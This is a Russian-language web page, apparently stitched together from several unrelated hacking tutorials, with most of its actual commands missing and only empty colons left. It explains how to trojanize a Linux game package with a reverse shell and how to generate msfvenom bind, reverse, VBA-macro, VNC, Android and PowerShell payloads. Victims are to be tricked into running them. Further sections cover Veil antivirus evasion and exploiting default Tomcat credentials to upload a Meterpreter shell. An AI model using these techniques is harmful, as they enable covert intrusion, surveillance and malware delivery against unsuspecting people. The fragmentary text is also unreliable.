Msfpayload не работает в kali linux

Обновлено: 07.07.2024

Таким образом с целью того, чтобы показать, что атаки на «стороне клиента» имеются не только лишь под Windows, мы станем пользоваться Metasploit с целью формирования Ubuntu deb пакета, Для того чтобы обзавестись shell в Linux.

Что будет делать троян:

Троян представляет собой игру под линукс, как только жертва установит и начнет играть в скаченную игру, мы получим Shell !

Сначала необходимо загрузить пакет, который мы собираемся «заразить» и перенести его во временный рабочий каталог. В нашем примере мы будем использовать пакет freesweep, текстовая версия Mine Sweeper.

Итак конструируем трояна:

Через консоль вводим следующие команды:

2)Теперь переносим пакет во временный каталог следущими командами:

3) Далее, нам необходимо извлечь пакет в рабочую директорию и создать директорию DEBIAN для добавления наших дополнительных «возможностей».

4) В директории «DEBIAN», создайте файл с именем «control», который содержит следующее:

5) Нам также необходимо создать после установочный скрипт, который задаст исполняющие права на наши бинарные файлы. В директории «DEBIAN», мы создадим файл с именем «postinst», который содержит следующее:

6) Теперь создадим наше вредоносное содержимое. Мы будем использовать реверс-шелл бэк-коннекта для подключения к нашей машине под названием «freesweep_scores»:

7) Далее сделаем пост-установочный скрипт исполняемым и соберем наш новый пакет. Файл пакета будет называться «work.deb». Изменим его имя на freesweep.deb и скопируем пакет в корневой каталог нашего веб-сервера.

В общем-то и всё теперь как юзать:

1) Для начала запустим веб сервер Apache:

2) Запустим модуль Metasploit multi/handler для ожидания входящего соединения:

3) Нашу жертву под Ubuntu, мы должны убедить скачать и установить deb пакет с новой игрой:

На компе жертвы установить можно, например так, вводим команды:

$ sudo dpkg -i freesweep.deb

4) Как только жертва установит и начнет играть в скаченную игру, мы получим shell:

Список инструментов для тестирования на проникновение и их описание

Описание MSFvenom Payload Creator (MSFPC)

Быстрый способ сгенерировать различные «базовые» полезные нагрузки Meterpreter через msfvenom (часть платформы Metasploit).

MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить насколько возможно (требуется только один ввод) создание полезной нагрузки.

Конечной целью является полная автоматизация msfvenom и Metasploit для упрощения жизни пользователя (меню выбора IP, ресурсного файла/команд msfconsole, пакетное создание полезной нагрузки и возможность вводить любые аргументы в любом порядке (в различных форматах/шаблонах).

От пользователя требуется только ввести только желаемую платформу для полезной нагрузки, либо расширение файла (напр., exe).

  • Вместо IP интерфейса достаточно ввести его имя: eth0.
  • Вместо внешнего IP достаточно ввести wan (MSFPC самостоятельно определит внешний IP адрес).
  • Если нужно создать по одной каждой полезной нагрузке, то наберите loop.
  • Массовое создание полезных нагрузок — всё или по фильтрам: batch (для всего), batch msf (для каждой опции Meterpreter), batch staged (для каждой staged полезной нагрузки) или batch cmd stageless (для каждой stageless command prompt). Подробности о staged и stageless ниже.

Примечание: скрипт НЕ будет пытаться как-либо обойти антивирусные решения на какой-либо стадии.

Справка по MSFPC

В качестве <ТИПа> возможен следующий ввод:

  • APK
  • ASP
  • ASPX
  • Bash [.sh]
  • Java [.jsp]
  • Linux [.elf]
  • OSX [.macho]
  • Perl [.pl]
  • PHP
  • Powershell [.ps1]
  • Python [.py]
  • Tomcat [.war]
  • Windows [.exe // .dll]

Вместо указания <ДОМЕН/IP> вы можете ввести интерфейс и MSFPC определит его IP адрес.

При пропуске <ДОМЕН/IP> по умолчанию будет сделан переход в меню IP.

Пропуск <ПОРТа> установит значение по умолчанию 443.

<CMD> - это стандартная/родная команда оболочки/терминала для интерактивного взаимодействия.

<MSF> пользовательский кросс-платформенный шелл для получения всей мощи Metasploit.

Пропуск <CMD/MSF>, где это возможно, приведёт к дефолтному <MSF>.

Помните: Metasploit (ещё) не поддерживает <CMD/MSF> для формата любого <ТИПа>.

Полезная нагрузка <CMD> обычно меньше, чем <MSF> и проще для обхода EMET. Ограничивается поддержкой модулей пост модулей/скриптов Metasploit.

Полезная нагрузка <MSF> обычно больше чем <CMD>, поскольку она поставляется с большим количеством функций.

<BIND> открывает порт на стороне цели и атакующий к ней подключается. На целях часто заблокированы входящие соединения.

<REVERSE> заставляет цель подключиться к атакующему. Атакующему нужно открыть соответствующий порт.

Пропуск <BIND/REVERSE> установит по умолчанию <REVERSE>.

<BIND> позволяет атакующему подключиться когда он хочет. <REVERSE> требует от цели постоянно подключаться к атакующему для поддержания постоянного доступа.

<STAGED> разделяет полезную нагрузку на части, делая её меньше, но зависящей от Metasploit.

<STAGELESS> - это полностью самостоятельная полезная нагрузка. Более «стабильна», чем <STAGED>.

Пропуск <STAGED/STAGELESS>, когда это возможно, установит по умолчанию <STAGED>.

Помните: Metasploit (ещё) не поддерживает <STAGED/STAGELESS> для формата каждого <ТИПа>.

<STAGED> «лучше» в средах с низкой пропускной способностью и высокой задержкой.

<STAGELESS> считается «незаметнее» при обходе антивирусных защит. <STAGED> может работать «лучше» с IDS/IPS.

<TCP> это стандартный метод для подключения. Он наиболее совместим с ТИПАМИ как RAW. IDS могут легко его обнаружить.

<FIND_PORT> попробует каждый порт на целевой машине в поиска выхода наружу. Полезно при фильтровании входящего/исходящего трафика файерволами. Переключиться на «allports» на основе <ТИПа>.

<LOOP> просто создаст по одной каждого <ТИПа>.

<VERBOSE> покажет больше информации.

Руководство по MSFPC

Примеры запуска MSFPC

Полезная нагрузка для Windows и вручную указанный IP:

Полезная нагрузка для Linux, IP адрес сетевого интерфейса eth0 и вручную указанный порт:

Полезная нагрузка для Python, stageless command prompt:

Полезная нагрузка каждого типа, используя IP адрес интерфейса eth1:

Все возможные полезные нагрузки Meterpreter, используя WAN IP (внешний адрес)

Полуинтерактивное создание Windows Meterpreter bind shell на порту 5555:

Автоматическая генерация полезной нагрузки Meterpreter под Windows с обратным соединением, используя IP интерфейса eth0 в качестве параметра LHOST:

Полезная нагрузка в формате Linux, полностью автоматическое создание используя вручную указанный интерфейс и порт + подробный вывод:

Полезная нагрузка в формате Python, интерактивное меню IP:

Установка MSFPC

Установка в Kali Linux

Установка в BlackArch

Информация об установке в другие операционные системы будет добавлена позже.

«Голова — лучший антивирус», — эта идея никогда не потеряет актуальности. Для того, чтобы эффективно бороться с компьютерными угрозами, надо знать своих врагов. Среди таких врагов — программы, которые позволяют незаметно подключаться к компьютеру и выполнять с ним некие действия, проще говоря, софт для взлома систем. Полагаем, знание того, как создают подобный софт, хотя бы на базовом уровне, понимание того, как он работает, полезно любому, кого волнуют вопросы компьютерной безопасности. Кроме того, такой софт можно использовать для проверки защищённости собственных систем.

image


Поэтому сегодня мы решили поделиться с вами переводом материала, автор которого рассказывает о том, как создавать и применять пэйлоады, или полезные нагрузки, предназначенные для удалённого управления различными системами, в частности — Windows, Linux и Android, с использованием msfvenom — инструмента командной строки из пакета Metasploit. Сразу хочется отметить, что к тому, что вы узнаете ниже, стоит относиться с осторожностью, помня о том, что несанкционированное проникновение в чужие системы — это неэтично и незаконно.

Предварительные требования

Для того, чтобы попробовать то, о чём пойдёт речь, на практике, вам понадобится компьютер с установленной на нём Kali Linux, компьютеры под управлением Windows и Linux, Android-смартфон. В процессе работы, при составлении команд, мы будем пользоваться следующими ключами:

  • Lhost — IP-адрес компьютера, на котором установлена Kali, то есть — нашей рабочей машины.
  • Lport — порт, который назначен серверу — программе, которая «слушает» сеть и ожидает подключения от клиента.
  • P — сокращение от «payload», пэйлоад для выбранной платформы
  • F — ключ, задающий тип файла, например, exe для Windows, apk для Android, и так далее.


Организация Bind Shell-подключения

Bind shell — это схема взаимодействия с удалённой консолью, при которой на целевом компьютере запускается сервис, к которому может подключиться атакующий. Фактически, речь идёт о прямом подключении к атакуемому компьютеру. Для того, чтобы создать соответствующий пэйлоад для Windows, нужно выполнить следующую команду в терминале:


В результате будет создан exe-файл, который будет сохранён по адресу, указанному при выполнении команды, а именно — это /root/Desktop/bind.exe . Полученный файл нужно каким-то образом доставить на компьютер жертвы и выполнить его. Например — воспользоваться методами социальной инженерии или выложить его на сервис обмена файлами.


Теперь запустим msfconsole и введём нижеприведённые команды для того, чтобы открыть сессию:


После выполнения файла в нашем распоряжении окажется meterpreter-подключение к целевому компьютеру:


Использованная здесь опция bind_tcp полезна в тех случаях, когда мы отключаемся от компьютера жертвы, но он при этом ещё работает. Мы можем выполнить ту же команду и подключиться снова, при этом не нужно, чтобы эксплойт снова запускали на удалённом компьютере.

Организация Reverse Shell-подключения

Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером, обратная вышеописанной. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.

Для того, чтобы создать соответствующую полезную нагрузку, нужно ввести в терминале Kali следующую команду:


В данном случае мы включаем в команду некоторые новые параметры, такие, как lhost (локальный хост), lport (локальный порт) для того, чтобы принять обратное соединение от компьютера жертвы.

После того, как пэйлоад создан, отправлен на атакуемый компьютер и выполнен там, мы переходим ко второму шагу атаки. Запустим msfconsole и введём следующие команды для того, чтобы организовать подключение удалённого компьютера к нашей машине.


На нижеприведённом рисунке видно, что после того, как жертва запустит пэйлоад, выполняется обратное подключение к нашему компьютеру и у нас оказывается сессия meterpreter .



После создания пэйлоада и отправки его жертве, которая, как ожидается, рано или поздно запустит соответствующий файл, мы переходим к следующему шагу. Запускаем msfconsole и вводим следующие команды для организации подключения:


Как видно на следующем рисунке, после того, как пэйлоад будет запущен на целевом компьютере, происходит обратное подключение к нашему компьютеру и мы можем пользоваться возможностями сессии meterpreter.


Скрытое Bind Shell-подключение

Исследуем ещё одну возможность msfvenom и попытаемся с её помощью обрести контроль над удалённым компьютером. В этот раз мы хотим заполучить доступ к командной оболочке, а не к сессии meterpreter.

Пэйлоад, который мы создадим нижеприведённой командой, после выполнения, прячется в системе, его нельзя обнаружить сканером портов.


После того, как файл готов и отправлен жертве, мы можем перейти к следующему шагу. А именно, воспользуемся Netcat, введя в терминале Kali следующую команду:


Reverse Shell-подключение с помощью Netcat

Теперь рассмотрим ещё один подход к использованию пэйлоадов типа shell_reverse_tcp , которые позволяют получить доступ к оболочке командной строки атакуемого компьютера. Введём в терминале Kali следующую команду:


После создания файла и отправки его на атакуемый компьютер, создадим прослушиватель порта с использованием netcat :


При условии, что наш пэйлоад был успешно выполнен на удалённом компьютере, ниже показано то, как выглядит подключение к нему.


Пэйлоады-макросы на VBA

Создадим пэйлоад в виде VBA-скрипта, который будем использовать в качестве макроса MS Excel для атаки на целевую машину. Для того, чтобы это сделать, выполним следующую команду в терминале Kali:



Тут введём имя макроса и нажмём на кнопку Create . Макрос мы хотим сохранить в открытой книге, поэтому в соответствующем выпадающем списке надо выбрать This Workbook .


После этого надо вставить в редакторе VBA ранее скопированный код пэйлоада, закрыть редактор и включить макросы.



Когда Excel-файл будет открыт на интересующем нас компьютере, жертве будет предложено включить макросы. После их включения выполнится VBA-скрипт, который создаст обратное подключение к удалённому компьютеру. Выглядеть это будет так, как показано ниже.


VNC-пэйлоад

Хотя и неприлично, без ведома человека, наблюдать за тем, что он делает за компьютером, тот пэйлоад, который мы создадим сейчас, занимается именно этим. Откроем терминал Kali и введём следующую команду:


После создания пэйлоада мы, как обычно, отправляем его жертве, после чего начинаем готовиться к подключению. Для этого вызываем в терминале команду msfconsole и делаем следующее:


Тут можно видеть, что выполнена VNC-инъекция, что установлено удалённое соединение. Так же на компьютере под управлением Kali откроется окно Remote Desktop.


Пэйлоад для Android

Взлом мобильных устройств всегда привлекал к себе немалое внимание, поэтому рассмотрим методику создания пэйлоадов для платформы Android. Откроем терминал Kali и введём следующую команду:


После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство. Затем нужно подготовиться к подключению на Kali:


После того, как пэйлоад будет запущен, в нашем распоряжении будет сессия meterpreter и мы сможем взаимодействовать со взломанным телефоном.


Пэйлоад для Linux

Откроем терминал Kali и введём следующую команду:



После выполнения пэйлоада будет создано обратное TCP-подключение к нашему компьютеру, которое предоставит в наше распоряжение сессию meterpreter.


Пэйлоад для PowerShell

Для того, чтобы создать пэйлоад для PowerShell, откроем терминал Kali и введём следующую команду:


Теперь, как обычно, после создания пэйлоада, передадим его на интересующий нас компьютер и подготовимся принять подключение:


После запуска пэйлоад создаст обратное подключение к оболочке. Выглядит это так, как показано ниже.


Итоги

Как видите, с использованием msfvenom очень просто создавать программы, предназначенные для удалённого подключения к самым разным системам. То, что это доступно даже пользователям с минимальной подготовкой, придаёт особую актуальность правилу, которое знают все, но далеко не все соблюдают: «Не открывайте файлы, в происхождении которых сомневаетесь».

обход антивируса

Veil это удивительный инструмент, разработанный Крисом Транкером @ChrisTruncer, Майком Райтом @TheMightyShiv и Grayhound'ом @the_grayhound, специально для Кали Linux с целью:

  • Обходить антивирусную защиту
  • Получать полезные данные в рамках Metasploit
  • Создание функциональной части вируса т. н. payload

Хочется поговорить о Veil и привести несколько примеров о том, как обойти несколько антивирусных программ. Основные изменения в последних версиях Veil:

  • совместимость x64 — Обновлен скрипт установки для того, чтобы Veil был совместим с x86 и x64 платформами.
  • Функция обновления - Теперь Veil имеет функцию обновления. Теперь мы можем обновить Veil либо из командной строки или из меню.

Чтобы установить Veil в любой среде, вы можете использовать следующие команды:

Чтобы установить Veil в Kali, выполняем следующие команды:

apt-get install veil

После того как Veil будет установлен запускаем его из командной строки:

Далее на экране мы увидим что-то вроде этого, загружено 18 payload'ов:

вводим use в коммандную строку

Veil1

Теперь Veil предлагает нам выбрать тело вируса с которым хотим работать. В этом случае я выбрал python/b64VirtualAlloc набрав "18"

Veil2

Когда загрузка тела вируса закончиться, введите команду — generate. На данном этапе можно задать кучу специфических параметров, но в рамках этой статьи будем использовать значения по-умолчанию.

Veil3

Далее необходимо выбрать шеллкод, который будет использоваться, мы выбираем msfvenom набрав 1

Veil4

Далее указываем некоторые детали:

veil5

Enter metasploit payload: “windows/meterpreter/reverse_tcp“

Enter value for ‘LHOST’, [tab] for local IP: “192.168.69.69″

Enter value for ‘LPORT’: “443“

Ждем немного пока шеллкод сгенерируется

После этого Veil потребует ввести имя для итогового файла, я назвал его undetectable

Veil6

На следующем этапе выбираем Pyinstaller — 1

Veil7

После этого мы получим готовый исполняемый .exe файл в папке /root/Veil-master/output/compiled/

Veil8

Теперь, у нас есть исполняемый файл и нам надо проверить его через vscan.novirusthanks.org. Пожалуйста, не забудьте при проверке установить галочку "Do not distribute the sample".

Veil10

Veil11

Все выше перечисленные операции по созданию файла, можно проделать через командную строку, не используя меню.

Продолжаем рассматривать тематику взлома систем, и давайте поищем еще один способ, как взломать нашу цель. В предыдущих уроках мы с Вами рассматривали некоторые инструменты для сканирования, такие как «nmap» и «nessus».

Сейчас рассмотрим инструмент под названием «Nikto». Этот инструмент предназначен для сканирования уязвимостей веб-приложений. Этот инструмент сканирует сайты на предмет возможных уязвимостей. Мы можем использовать «Nikto», так как на атакуемой машине мы имеем несколько веб-сервисов.

Если запустить этот сканер с помощью команды «nikto» без параметров, то мы увидим ошибку:

nikto

Иными словами, для корректной работы инструмента нам нужно указывать некоторые опции, в частности, «-host <ip-адрес>». Имейте ввиду, что на атакуемой машине несколько веб-серверов. Один из них использует 80 порт (сервер Apache), а другой 8180 (Apache Tomcat).

Давайте поработаем с сервером Apache Tomcat.

В нашу команду добавляем опцию «-p», а также порт 8180, т.к. по-умолчанию используется 80 порт, который нам пока что не нужен. Команда будет иметь вид: «nikto -host 192.168.15.131 -p 8180»:

nikto -host 192.168.15.131 -p 8180

Nikto запустился, и нам нужно подождать результат работы инструмента:

работа сканера nikto

HTTP метод

Не будем подробнее останавливаться на этой уязвимости, так как нас интересует другая уязвимость на этом сервере Tomcat. Эта уязвимость позволяет удаленно выполнять команды на этом сервере. Для начала эксплуатации данной уязвимости нам нужно авторизироваться на этом веб-сервере, т.е. мне нужны верные учетные данные.

К счастью, сканер «Nikto» обнаружил учетные данные, которые принадлежат ему:

учетные данные tomcat

На этом сервере используются стандартные имя пользователя и пароль. Можно проверить это вручную для авторизации на этом веб-сервере. Для проверки переходим в браузер и вводим айпи адрес и порт.:

apache tomcat

Номер порта указывается для того, чтобы не использовались дефолтные порты, такие как 80 и 443.

Пробуем авторизироваться в Tomcat, и используем вкладку «Tomcat Manager»:

авторизация в tomcat

Отлично. Мы авторизировались в панели управления Tomcat:

Теперь я могу изменить сайт, изменить что-либо и так далее.

Можно создать для Ваших целей определенное ПО, или воспользоваться инструментом «Metasploit», воспользовавшись готовым модулем, для загрузки на сервер. Запустим Metasploit, и воспользуемся поиском. Команда будет выглядеть как: «search tomcat»:

search tomcat

В этом выводе есть две подходящие опции – это «tomcat_mgr_deploy» и «tomcat_mgr_upload»:

«tomcat_mgr_deploy» и «tomcat_mgr_upload»

Обе эти опции отлично подходят нам против Tomcat. Выбираем вторую, и выполняем команду «use»:

use

Просмотрим опции с помощью команды «show options»:

show options

Вспомните взлом vsftpd, который был в прошлом занятии. Сейчас ничего не отличается, кроме большего списка параметров, которые нужно настраивать.

Для начала укажем имя пользователя и пароль:

указываем имя пользователя и пароль tomcat

Далее нужно указать удаленный хост или айпи-адрес цели и порт. У меня это 192.168.119.130:8180. По-умолчанию стоит порт 80, который мы изменили:

rhost rport

Давайте перепроверим, что все опции настроены правильно. Это делается с помощью команды «show options»:

show options

И, наконец, выполняем команду «run»:

команда run

Отлично. Теперь у меня есть шелл Meterpreter-a. Данный шелл является частью Metasploit. Он позволяет выполнять команды на атакуемой машине. Данные команды будут отличаться от обычных команд моей цели. Например, если мы выполним команду «id», то появляется ошибка:

команда id

Все дело в том, что meterpreter не знает этой команды, так как он является отдельным шеллом со своими командами, к которым не относится команда «id».

Можем ввести команду «pwd», и она сработает:

Данная команда работает и на meterpreter, и на linux-системах.

Если выполнить команду «whoami», то она не сработает:

команда whoami не работает

Для того, чтобы узнать, какие команды нам нужно использовать, нужно ввести знак вопроса «?»:

отображение справки metarpreter

Это длинный список команд meterpreter.

Если meterpreter кажется Вам непонятным, то не волнуйтесь и рассматривайте его следующим образом; при взломе атакуемой машины Metasploit загружает на нее программу, которая позволяет взаимодействовать с этой машиной, и выполнять различные команды. Это программа называется «meterpreter».

И сейчас мы взаимодействуем с этой программой, которая позволяет нам управлять системой на удаленной машине.

Если мне нужен линукс-шелл, то для этого нужно ввести команду «shell»:

ввод команды shell

В нем работают все команды, которые присущи линукс-системам.

Если выполнить команду «guid», то она уже не сработает:

команда guid

Все из-за того, что я нахожусь в линукс-шелле.

Однако, можно выполнить команду «whoami», и «id», то они будут работать:

команды whoami и id

Обратите внимание, что вышеописанные команды не работали в meterpreter. После ввода команды «shell», я получил доступ непосредственно к стандартному линукс шеллу. Теперь я могу выполнять стандартные линукс команды.

Есть один момент, который заключается в том, что я не рут пользователь, а обычный пользователь «tomcat55».

Далее мы рассмотрим, как использовать определенные скрипты, с помощью которых мы можем обнаружить уязвимости, и которые помогут нам повысить права. Мы это будем рассматривать в последующих лекциях.

С помощью инструмента «Nikto», мы оказались там, где мы сейчас находимся. Имейте ввиду, что это не специализированный инструмент для работы с конкретными сайтами.

Существуют инструменты, которые заточены на работу с определенными веб-технологиями. К примеру, для работы с сайтом на вордпресс существует инструмент для поиска уязвимостей, который называется wpscan.

Все зависит от того, какая технология будет использоваться на сайте, и будет предпочтительнее, если Вы будете использовать инструменты, которые были созданы именно под это программное обеспечение.

Мы нашли несколько способов, как можно взломать нашу цель, используя разные уязвимости. Сначала мы взломали ftp-сервис, при этом мы использовали версию ftp, которую мы узнали с помощью «nmap». После этого мы использовали результат сканирования «nessus», где мы узнали, что есть эксплойт для попадания в систему. Как в случае с ftp и ssh сервисами, мы получали рут-права на системе жертвы. Далее мы использовали эксплойт веб-приложений, и смогли попасть в систему через веб-сайт. В последнем случае мы смогли попасть в систему только как обычный пользователь, а не как рут-пользователь. Нам осталось лишь повысить права. Однако, перед этим давайте взломаем систему еще одним способом.

Читайте также: